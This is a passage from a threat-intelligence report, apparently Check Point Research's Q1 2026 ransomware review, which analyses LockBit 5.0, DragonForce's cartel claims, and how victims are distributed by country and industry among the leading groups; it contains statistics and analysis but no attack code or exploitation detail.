Figure 5 – LockBit’s DLS-published victims (Q1 2023 – Q1 2026).

The new LockBit 5.0 was officially launched on the RAMP underground forum in September 2025, coinciding with the sixth anniversary of the operation. The new version introduced multi-platform support (Windows, Linux, ESXi), enhanced evasion and anti-analysis mechanisms, faster encryption routines, and randomized 16-character file extensions to disrupt signature-based detection. New affiliates were required to provide a Bitcoin deposit of approximately $500.

Geographic diversification: from US dominance to global spread

LockBit’s geographic targeting has undergone a dramatic and measurable shift since its last appearance. Historically, the United States accounted for over 50% of LockBit’s victims – consistent with the ecosystem-wide baseline. In Q1 2026, US victims represented just 21.2% of LockBit’s total, with Italy (8.6%), Brazil (8.6%), and Turkey (5.1%) picking up the slack.

The shift away from US victims is new. Despite no documented forum announcements, the circumstantial evidence is strong: the direction is specifically toward non-US and European nations or countries with less aggressive behavior toward ransomware operators such as Italy, Brazil, and Turkey. The result is a nearly 30-percentage-point (pp) drop in US-based victims, despite an overall 106% increase in victims compared to Q4 2025.

The reaction to law enforcement actions may not result in a lower overall attack volume, but operators such as LockBitSUpp appear to be trying to redirect their activity away from the enforcing jurisdictions. Whether this represents a deliberate strategic decision or an emergent consequence of attracting affiliates from different geographic backgrounds remains an open question.

DragonForce: The Cartel Model Under Pressure

DragonForce posted 101 victims in Q1 2026 (an increase of 29% compared to Q4 2025), with a steep climb from 10 victims in January to 35 in February and 56 in March. This trajectory suggests an operation gaining momentum rather than depleting stockpiled access.

DragonForce continues to distinguish itself through its public relations strategy and “cartel” branding, positioning itself as an umbrella organization for multiple sub-brands. However, our investigation indicates that the cartel model is smaller than advertised:

  • Devman, which split from DragonForce in July 2025, saw their victim totals collapse from 82 (Q4 2025) to 25 (Q1 2026). Twenty-four of those victims were posted in January.
  • Coinbase Cartel, initially reported as a DragonForce sub-brand, has been independently linked to the ShinyHunters operation by Bitdefender.
  • Obscura, cited as a potential cartel member, posted only around 20 victims in total.

DragonForce’s technical capabilities remain genuine with multi-platform support and the group actively recruits affiliates. Its data audit service, which analyzes stolen datasets exceeding 300 GB to identify the most valuable information for extortion leverage, represents genuine innovation in the extortion model. However, the broader cartel narrative appears to be more marketing than substance.

Geographic Distribution of Victims – Q1 2026

The geographic distribution of ransomware victims in Q1 2026 maintains the fundamental pattern established over previous quarters: the United States accounts for just under half of all reported cases (49.6%), with Western developed economies making up the clear majority of targets.

Figure 6 – Top 10 targeted countries, Q1 2026.

The most notable development is Thailand’s entry into the top 10 for the first time, driven almost entirely by The Gentlemen, for whom Thai organizations constitute 10.8% of total victims. Taiwan also rose sharply (from 8 victims to 26), while South Korea dropped out entirely. This confirms that Qilin’s Q3 2025 financial sector campaign targeting 30 South Korean organizations was a one-off event rather than a sustained targeting shift.

Per-Actor Geographic Targeting: Distinct Patterns

A per-actor analysis of the top 20 groups’ country distributions reveals that the ecosystem-level averages mask dramatically different targeting strategies. We identified six distinct geographic patterns by measuring each actor’s deviation from the 49.6% US baseline.

Pattern 1 – Extreme US focus (>75% US). These actors target the United States at rates far exceeding the ecosystem average:

  • Play (85.1% US) operates as a closed group with a Russia-nexus lineage and centralized target selection that consistently prefers US organizations.
  • Sinobi (76.2% US) explicitly targets US mid-market manufacturing and construction.
  • Genesis (93.1% US) whose near-exclusive US focus (27 of 29 confirmed victims) and emphasis on the Healthcare sector (20.7%) is striking for an emerging actor with no documented affiliate program.

Pattern 2 – Deliberate US avoidance (<25% US). These actors are going in the opposite direction:

  • Tengu (11.4% US) is the most geographically diversified actor in the top 20, with victims spread across Indonesia (8.6%), Mexico (8.6%), India (6.9%), and Italy (5.8%).
  • LockBit (21.5% US) represents deliberate post-disruption diversification, as discussed above.

Pattern 3 – Vulnerability related distribution:

  • Cl0p’s geographic anomalies (18.1% Canada and 8.7% Australia). Cl0p’s traditional mass exploitation campaigns produce victim distributions that mirror the installed base of the exploited software, in this case EBS campaign (CVE-2025-61882).
  • The Gentlemen (13.3% US) reflects the geographic distribution of its approximately 14,700-device FortiGate access stockpile, which is concentrated in Thailand (10.8%), Brazil (6%), and India (4.2%).

Country-Level Actor Dominance: When One Group Shapes a Nation’s Threat Profile

Flipping the analysis from “which countries does an actor target” to “which actors dominate each country” reveals an even more striking picture. Several countries’ entire ransomware threat profiles are defined by a single actor’s operational choices.

Single-actor-shaped countries:

CountryDominant actorShare
ThailandThe Gentlemen53%
ArgentinaQilin39%
MexicoLockBit37%
AustraliaCl0p34%
SwitzerlandAkira31%
BrazilLockBit31%

Thailand’s case is the most extreme: more than half of all Thai ransomware victims are claimed by The Gentlemen. Without this single group, Thailand would not even appear in the top-10 most-attacked countries. Similarly, without Cl0p’s Oracle EBS campaign, Australia and Canada would show substantially lower victim counts. These findings underscore that country-level ransomware statistics are frequently shaped by one actor’s specific access inventory, software exploitation campaign, or strategic redirection – not by broad shifts in the threat landscape.

Multi-actor convergence countries. Two countries stand out for having three or more actors independently converging to create unusually diverse threat environments:

  • Turkey (23 victims): LockBit (6 victims) + DragonForce (5 victims) + The Gentlemen (5 victims), 70% of Turkey’s victim totals are due to the activity of just three actors.
  • Japan (21 victims): The Gentlemen (6 victims) + Everest (4 victims) + Nightspire (3 victims). = 62% of the victims are due to three distinct actors. Both The Gentlemen and Nightspire exploit the same FortiGate vulnerability (CVE-2024-55591).

Ransomware Attacks by Industry – Q1 2026

The industry distribution of ransomware victims in Q1 2026 shows continued cross-sector impact, with a few notable concentrations.

Figure 7 – Ransomware victims by industry, Q1 2026.

As with geographic patterns, ecosystem-level industry averages mask fundamentally different targeting strategies at the actor level. A per-actor analysis of the top 20 groups reveals that sector selection is driven by at least three distinct observations.

Software footprint targeting. Cl0p’s 53.5% Business Services concentration (+18.6 percentage points above baseline) does not reflect a preference for professional services firms. It reflects the user base of Oracle EBS, the enterprise application exploited in the Q1 2026 campaign. Mass exploitation campaigns produce industry distributions that mirror the deployment pattern of the exploited software. This is the same dynamic observed in Cl0p’s geographic analysis, where Canada and Australia were over-represented because of Oracle EBS adoption.

Operational disruption maximization. Akira’s targeting of Consumer Goods (23.9%, +9.8 percentage points above baseline) and Industrial Manufacturing (17.8%, +6.7 percentage points above baseline), a combined 41.7% versus the 25.1% baseline, is consistent with an economically optimized model. These sectors share high downtime costs (production lines, supply chain dependencies) and complex IT/OT environments that make recovery without decryption keys extremely difficult. With $244 million in total proceeds and a 34% share of IR engagements, Akira’s sector selection reflects deliberate targeting of firms where the pressure to pay is greatest. This is not opportunistic; it’s the Conti lineage playbook applied to the sectors where it generates the highest return per incident.

Anubis stands apart from all other top-20 actors in its willingness to target healthcare (13.0%, +8.3 percentage points above baseline) and critical infrastructure (8.7%, +7.7 percentage points above baseline).

Conclusion

In Q1 2026, the ransomware ecosystem entered a new phase. After two years of steady fragmentation, the market is reconsolidating around a smaller number of dominant operators. Qilin, Akira, The Gentlemen, and LockBit together account for 41% of all victims. Domination by the top-10 actors has returned to levels not seen since early 2024.

This consolidation is not a return to the previous state. The emerging dominant groups are more technically capable, more geographically diversified, and more resilient to disruption than their predecessors. At the same time, the economic foundations of ransomware are showing signs of stress. Payment rates have fallen to historic lows. Mass data-theft campaigns are generating diminishing returns. The gap between the growing number of DLS-posted victims (2,122 in Q1 2026) and the declining monetization per victim may accelerate the current consolidation squeezing out operators who cannot achieve sufficient scale or sophistication to remain profitable.

The post The State of Ransomware – Q1 2026 appeared first on Check Point Research.

❌